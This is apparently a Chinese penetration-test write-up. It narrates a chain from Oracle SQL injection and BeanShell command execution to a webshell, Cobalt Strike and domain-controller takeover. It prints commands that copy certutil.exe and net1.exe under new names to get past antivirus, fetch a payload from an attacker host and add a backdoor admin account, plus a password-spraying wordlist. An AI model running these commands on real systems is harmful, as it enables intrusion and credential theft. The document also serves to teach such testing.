0x00 前言 在某个平平无奇的下午,办公室吹着空调喝着同事请的大桶果茶,美美的感受下午茶的美好。 同事的一个消息打破了这个宁静的下午。 一个非常明显的Oracle的注入,第一想法肯定是注账号密码,话不多说,玩的就是真实,开干!! 0x01 进入正题 同事说当前数据库有900张表,我先按照常规操作先跑一下表名,看用户名表会不会跑出来,花了四五分钟跑了大概50张表,有三个user表,其中一个成功跑出来md5加密的密码,我心想这么简单,这不是有手就行?你们没跑出来? cmd5一解密我发现事情并不简单,因为密码是1,很明显不是真实密码(这里不得不说一句cmd5是YYDS,somd5连1都解不出来): 在跑到100张表的时候,我感觉不对劲了,难不成真有900张表?我跑一天也跑不出来啊?这时候想到了一个简单的办法,既然我们要找用户表,总有密码字段吧? 直接利用sqlmap的--sql-shell 功能查询所有包含PASSWORD字段的表名就好了(原谅大学学的SQL全还给老师了,直接问GPT)。 得到命令: SELECT table_name FROM dba_tab_columns WHERE owner = 'DB1' AND column_name = 'PASSWORD' ORDER BY table_name;
成功查询到所有包含密码字段的表,找到了用户表跑出了一部分用户的密码: 用户太多了,没有跑出全部的,但是这时候已经可以用跑出来的部分账号密码登陆系统,但是发现功能点比较少,文件上传也是使用的php的fckeditor,无法绕过上传: 但是查询通讯录知道了一个管理员用户是root和对应的邮箱,并非常规的admin@xxx.com。 使用sqlmap的--sql-shell功能直接查询DB1库中的EMAIL=xxx@xxx.com得到密码: 登陆管理员账号后发现系统功能里面有个系统命令功能可以使用beanshell执行系统命令。: 眼熟.jpg,这跟用友NC太像了。 至此已经拿下该服务器,下一步就是进入内网后渗透了。 0x02 踩坑 坑1: 在这个beanshell执行系统命令的时候,刚开始遇到了一些坑,跟用友NC bsh.servlet.BshServlet的远程代码执行一样的坑,执行一些命令时经常会报错。执行 whoami 正常: dir、chdir等等都会报错,导致想看其他目录时都会报错。 但是通过调用系统本地cmd.exe进行命令执行就不会报错了: 坑2: 在查看其他目录、文件含路径的时候,单斜杠无法解析,需要\才能成功获取对应的文件。cmd.exe /c dir e:\xxx\dddd\bin报错 cmd.exe /c dir e:\\portal\\portal422\\bin正常输出 坑3: sql注入的时候已经知道了系统是Windows2008server和有火绒。到这其实就可以使用echo蚁剑马或者是certutil直接远程下载cs上线,certutil下载文件会被拦截,使用以下命令即可绕过限制进行文件下载: copy c:\windows\system32\certutil.exe a.exe
a.exe -urlcache -split -f http://192.168.xx.xx:7000/gdut.txt
下载哥斯拉马成功连接webshell,因为是2008的系统,直接抓明文密码,但是因为有火绒,无法直接抓。 前面已经知道了administrator权限,还是利用copy的方法进行绕过火绒添加用户: copy c:\windows\system32\net1.exe aaa.txt
aaa.txt user admin Aa123456@@@ /add
开启本地代理直接远程上去把火绒退掉。 再上线cs抓密码就可以了。 0x03 内网遨游 这时候已经拿到管理员的密码,以及知晓密码规则,直接简单构造密码字典对内网进行密码喷洒 domain@2019
domain@2020
domain@2021
domain@2022
domain@2023
domain@,2023
domain@,2022
domain@,2021
domain@,2020
................................ 好家伙,直接喷出来十多台服务器: 然后就是一堆常规操作,登服务器、翻浏览器、配置文件等等。 在所有东西翻完的时候,使用fscan不加参数全部梭哈的时候,惊喜的发现NetBios识别到了192.168.x.1/24 段有域,但是这个段梭3389的时候没有梭出来成功的。 这时候我对192.168.x.1/24 单独进行了一次-m rdp -pwdf pwd.txt 果然梭出来了一台服务器的3389,并且是在域内的,最惊喜的这台服务器居然是Windows2008(你们懂的),成功上线cs [color=rgba(0, 0, 0, 0.9)] [color=rgba(0, 0, 0, 0.9)] 运行nslookup target.com得到了域控地址。这时候,经常打域的师傅们都知道,只要有一台机器在域内,这个域离拿下就成功一半了,直接查询RDP历史登陆凭据。 很惊喜的发现这台机器中保存了一个历史凭据,嘿嘿,会不会是域控的? 果然是域控的密码,直接远程3389上去: 至此整个单位全部拿下,直接出局。
|